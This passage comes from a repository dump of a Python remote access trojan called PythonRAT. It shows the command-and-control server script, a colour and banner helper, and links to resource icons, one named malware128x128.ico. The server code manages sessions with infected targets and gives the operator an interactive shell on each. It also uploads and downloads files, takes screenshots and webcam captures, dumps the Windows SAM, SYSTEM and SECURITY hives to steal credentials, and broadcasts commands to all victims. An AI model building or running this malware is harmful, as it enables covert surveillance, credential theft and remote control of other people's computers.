296 | print(Colour().green(str(ip) + ' has connected!') +
297 | '\n[**] Command & Control Center: ', end="")
298 | except:
299 | pass
300 |
301 |
302 | def close_all_target_connections(targets):
303 | for target in targets:
304 | reliable_send(target, 'quit')
305 | target.close()
306 |
307 |
308 | def send_heartbeat(target):
309 | while True:
310 | reliable_send(target, 'heartbeat')
311 | time.sleep(10) # adjust the sleep time as needed
312 |
313 |
314 | def send_heartbeat_to_all_targets(targets):
315 |
316 | while True:
317 | for target in targets:
318 | reliable_send(target, 'heartbeat')
319 | start_time = time.time()
320 | while True:
321 | if time.time() - start_time > heartbeat_timeout: # timeout after 10 seconds
322 | print(f"Target {target} did not respond to heartbeat. It might be down.", end="")
323 | c2_input_text()
324 | # handle target not responding here (e.g., remove from list, try to reconnect, etc.)
325 | break
326 | try:
327 | message = reliable_recv(target)
328 | if message == 'heartbeat_ack':
329 | break # heartbeat acknowledged, break inner loop and move to next target
330 | except Exception as e:
331 | print(f"An error occurred while waiting for heartbeat acknowledgment: {e}", end="")
332 | c2_input_text()
333 | break # if an error occurred, break inner loop and move to next target
334 | time.sleep(heartbeat_wait) # adjust the sleep time as needed
335 |
336 |
337 | def c2_input_text():
338 | print('\n[**] Command & Control Center: ', end="")
339 |
340 |
341 | def show_targets(ips):
342 | counter = 0
343 | for ip in ips:
344 | print('Session ' + str(counter) + ' --- ' + str(ip))
345 | counter += 1
346 |
347 | def graceful_exit():
348 | try:
349 | # Your script's code...
350 | if input('\nDo you want to exit? yes/no: ') == 'yes':
351 | sys.exit() # Use sys.exit() instead of quit()
352 | except KeyboardInterrupt:
353 | print("\nInterrupted by user. Exiting...")
354 | sys.exit()
355 | except SystemExit:
356 | # Handle the SystemExit exception. You could do some cleanup here if necessary.
357 | print("\nExiting the script...")
358 | sys.exit() # Exit the script
359 | except Exception as e:
360 | print(f"An unexpected error occurred: {e}")
361 | sys.exit(1) # Exit the script with an error status code
362 |
363 |
364 | def kill_target(targets, ips, command):
365 | """
366 | Kills a target specified in the command.
367 | Args:
368 | targets (list): The list of targets.
369 | ips (list): The list of IPs.
370 | command (str): The command that specifies which target to kill.
371 | """
372 | target_index = int(command[5:])
373 | target = targets[target_index]
374 | ip = ips[target_index]
375 | reliable_send(target, 'quit')
376 | target.close()
377 | targets.remove(target)
378 | ips.remove(ip)
379 |
380 |
381 | def send_all(targets, command):
382 | """
383 | Sends a command to all targets.
384 | Args:
385 | targets (list): The list of targets to send the command to.
386 | command (str): The command to send.
387 | """
388 | target_count = len(targets)
389 | print(Colour.blue(f'Number of sessions {target_count}'))
390 | print(Colour.green('Target sessions!'))
391 | i = 0
392 | try:
393 | while i < target_count:
394 | target = targets[i]
395 | print(target)
396 | reliable_send(target, command)
397 | i += 1
398 | except Exception as e:
399 | print(f'Failed to send command to all targets. Error: {e}')
400 |
401 | def handle_session_command(targets, ips, command):
402 | """
403 | Handles a 'session' command.
404 | Args:
405 | targets (list): The list of targets.
406 | ips (list): The list of IPs.
407 | command (str): The command to handle.
408 | """
409 | try:
410 | session_id = int(command[8:])
411 | target = targets[session_id]
412 | ip = ips[session_id]
413 | target_communication(target, ip)
414 | except Exception as e:
415 | print('[-] No Session Under That ID Number. Error: ', e)
416 |
417 |
418 | def handle_sam_dump(target, command):
419 | reliable_send(target, command)
420 | sam_data, system_data, security_data = reliable_recv(target)
421 | if isinstance(sam_data, str): # An error message was returned
422 | print(sam_data)
423 | else: # The file data was returned
424 | with open('SAM_dump', 'wb') as f:
425 | f.write(sam_data)
426 | with open('SYSTEM_dump', 'wb') as f:
427 | f.write(system_data)
428 | with open('SECURITY_dump', 'wb') as f:
429 | f.write(security_data)
430 |
431 |
432 | def exit_all(targets, sock, t1):
433 | """
434 | Exits all connections with targets, closes the socket, and stops the thread.
435 | Args:
436 | targets (list): The list of targets to disconnect from.
437 | sock (socket): The socket to close.
438 | t1 (Thread): The thread to stop.
439 | """
440 | start_flag = True
441 | for target in targets:
442 | reliable_send(target, 'quit')
443 | target.close()
444 | sock.close()
445 | t1.join()
446 |
447 |
448 | def list_targets(ips):
449 | """
450 | Lists all the targets.
451 | Args:
452 | ips (list): The list of IPs.
453 | """
454 | for counter, ip in enumerate(ips):
455 | print('Session ' + str(counter) + ' --- ' + str(ip))
456 |
457 |
458 | def clear_c2_console():
459 | """
460 | Clears the console.
461 | """
462 | os.system('clear')
463 |
464 |
465 | def print_command_does_not_exist():
466 | """
467 | Prints a message indicating that the command does not exist.
468 | """
469 | print(Colour().red('[!!] Command Doesn\'t Exist'), end=" - ")
470 | print(Colour.yellow('Try running `help` command'), end="\n")
471 |
472 |
473 | def handle_keyboard_interrupt():
474 | """
475 | Handles KeyboardInterrupt and SystemExit exceptions.
476 | """
477 | print(Colour().blue('\nPlease use "exit" command'))
478 |
479 |
480 | def handle_value_error(e):
481 | """
482 | Handles ValueError exceptions.
483 | Args:
484 | e (Exception): The exception to handle.
485 | """
486 | print(Colour().red('[!!] ValueError: ' + str(e)))
487 |
488 |
489 | def initialise_socket():
490 | """
491 | Initializes the socket.
492 | Returns:
493 | The initialized socket.
494 | """
495 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
496 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
497 | sock.bind(('127.0.0.1', 5555))
498 | sock.listen(5)
499 | return sock
500 |
501 |
502 | def start_accepting_connections(sock):
503 | """
504 | Starts a thread to accept connections.
505 | Args:
506 | sock (socket): The socket on which to accept connections.
507 | Returns:
508 | The thread object.
509 | """
510 | t1 = threading.Thread(target=accept_connections)
511 | t1.start()
512 | return t1
513 |
514 |
515 | def print_banner_and_initial_info():
516 | """
517 | Prints the banner and information messages.
518 | """
519 | print(banner())
520 | print('Run "help" command to see the usage manual')
521 | print(Colour().green('[+] Waiting For The Incoming Connections ...'))
522 |
523 |
524 | def join_thread(t1):
525 | t1.join()
526 |
527 |
528 | def close_socket(sock):
529 | sock.close()
530 | global start_flag
531 | start_flag = False
532 |
533 |
534 | def exit_c2_server(sock, t1):
535 | close_socket(sock)
536 | join_thread(t1)
537 | print(Colour().yellow('\n[-] C2 Socket Closed! Bye!!'))
538 |
539 |
540 | def target_communication(target, ip):
541 | screenshot_count = 0
542 | webcam_count = 0
543 |
544 | while True:
545 | command = input('* Shell~%s: ' % str(ip))
546 | reliable_send(target, command)
547 | if command == 'quit':
548 | break
549 | elif command == 'background' or command == 'bg':
550 | break
551 | elif command == 'clear':
552 | os.system('clear')
553 | elif command[:3] == 'cd ':
554 | pass
555 | elif command[:6] == 'upload':
556 | upload_file(target, command[7:])
557 | elif command[:8] == 'download':
558 | download_file(target, command[9:])
559 | elif command[:10] == 'screenshot':
560 | screenshot(target, screenshot_count)
561 | screenshot_count += 1
562 | elif command[:6] == 'webcam':
563 | webcam(target, webcam_count)
564 | webcam_count += 1
565 | elif command[:12] == 'get_sam_dump':
566 | handle_sam_dump(target, command)
567 | elif command == 'help':
568 | server_help_manual()
569 | else:
570 | result = reliable_recv(target)
571 | print(result)
572 |
573 |
574 | def run_c2_server(targets, ips, sock, t1, start_flag):
575 | """
576 | Runs the Command & Control server.
577 | Args:
578 | targets (list): The list of target connections.
579 | ips (list): The list of IP addresses of the targets.
580 | sock (socket): The server socket.
581 | t1 (threading.Thread): The thread that's accepting connections.
582 | start_flag (bool): Flag indicating whether to start or stop the server.
583 | """
584 |
585 | while start_flag:
586 | try:
587 | command = input('[**] Command & Control Center: ')
588 | if command == 'targets':
589 | list_targets(ips)
590 | elif command == 'clear':
591 | clear_c2_console()
592 | elif command[:7] == 'session':
593 | handle_session_command(targets, ips, command)
594 | elif command == 'exit':
595 | close_all_target_connections(targets)
596 | start_flag = exit_c2_server(sock, t1)
597 | elif command[:4] == 'kill':
598 | kill_target(targets, ips, command)
599 | elif command[:7] == 'sendall':
600 | send_all(targets, command)
601 | elif command[:4] == 'help':
602 | c2_help_manual()
603 | elif command[:9] == 'heartbeat':
604 | continue
605 | elif command == 'heartbeat_all':
606 | continue
607 | else:
608 | print_command_does_not_exist()
609 | except (KeyboardInterrupt, SystemExit):
610 | handle_keyboard_interrupt()
611 | except ValueError as e:
612 | handle_value_error(e)
613 |
614 |
615 | if __name__ == '__main__':
616 | targets = []
617 | ips = []
618 | start_flag = True
619 |
620 | sock = initialise_socket()
621 | t1 = start_accepting_connections(sock)
622 | print_banner_and_initial_info()
623 |
624 | run_c2_server(targets, ips, sock, t1, start_flag)
625 |
626 | # TODO: encrypt connection
627 | # TODO: Implement a 'heartbeat'
--------------------------------------------------------------------------------
/server/colour.py:
--------------------------------------------------------------------------------
1 | def banner():
2 | return (Colour.green("""
3 | ,------. ,------. ,---. ,--------.
4 | | .--. ',--. ,--.| .--. ' / O \'--. .--'
5 | | '--' | \ ' / | '--'.'| .-. | | |
6 | | | --' \ ' | |\ \ | | | | | |
7 | `--' .-' / `--' '--'`--' `--' `--'
8 | `---'
9 | """) + "(" +
10 | Colour.blue("v0.12.0-alpha") + ")" +
11 | Colour.yellow(" Author: safesploit") +
12 | "\n")
13 |
14 |
15 | class Colour():
16 | @staticmethod
17 | def red(str):
18 | return "\033[91m" + str + "\033[0m"
19 |
20 | @staticmethod
21 | def green(str):
22 | return "\033[92m" + str + "\033[0m"
23 |
24 | @staticmethod
25 | def yellow(str):
26 | return "\033[93m" + str + "\033[0m"
27 |
28 | @staticmethod
29 | def blue(str):
30 | return "\033[94m" + str + "\033[0m"
31 |
32 | # TODO
33 | # The following are untested values
34 |
35 | @staticmethod
36 | def purple(str):
37 | return "\033[95m" + str + "\033[0m"
38 |
39 | @staticmethod
40 | def cyan(str):
41 | return "\033[96m" + str + "\033[0m"
42 |
43 | @staticmethod
44 | def white(str):
45 | return "\033[97m" + str + "\033[0m"
46 |
47 | @staticmethod
48 | def black(str):
49 | return "\033[90m" + str + "\033[0m"
50 |
51 |
52 | @staticmethod
53 | def bright_green(str):
54 | return "\033[1;92m" + str + "\033[0m"
55 |
56 | @staticmethod
57 | def bright_yellow(str):
58 | return "\033[1;93m" + str + "\033[0m"
59 |
60 | @staticmethod
61 | def bright_blue(str):
62 | return "\033[1;94m" + str + "\033[0m"
63 |
64 | @staticmethod
65 | def bright_purple(str):
66 | return "\033[1;95m" + str + "\033[0m"
67 |
68 | @staticmethod
69 | def bright_cyan(str):
70 | return "\033[1;96m" + str + "\033[0m"
71 |
72 | @staticmethod
73 | def bright_white(str):
74 | return "\033[1;97m" + str + "\033[0m"
75 |
76 | @staticmethod
77 | def bg_red(str):
78 | return "\033[41m" + str + "\033[0m"
79 |
80 | @staticmethod
81 | def bg_green(str):
82 | return "\033[42m" + str + "\033[0m"
83 |
84 | @staticmethod
85 | def bg_yellow(str):
86 | return "\033[43m" + str + "\033[0m"
87 |
88 | @staticmethod
89 | def bg_blue(str):
90 | return "\033[44m" + str + "\033[0m"
91 |
92 | @staticmethod
93 | def bg_purple(str):
94 | return "\033[45m" + str + "\033[0m"
95 |
96 | @staticmethod
97 | def bg_cyan(str):
98 | return "\033[46m" + str + "\033[0m"
99 |
100 | @staticmethod
101 | def bg_white(str):
102 | return "\033[47m" + str + "\033[0m"
103 | # print(banner())
104 |
--------------------------------------------------------------------------------
/sfx-resources/gibraltar.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesploit/PythonRAT/bd9992dbb0f310ab4a055b92ceabfd44f56a143a/sfx-resources/gibraltar.jpg
--------------------------------------------------------------------------------
/sfx-resources/gibraltar128x128.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesploit/PythonRAT/bd9992dbb0f310ab4a055b92ceabfd44f56a143a/sfx-resources/gibraltar128x128.ico
--------------------------------------------------------------------------------
/sfx-resources/malware128x128.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesploit/PythonRAT/bd9992dbb0f310ab4a055b92ceabfd44f56a143a/sfx-resources/malware128x128.ico
--------------------------------------------------------------------------------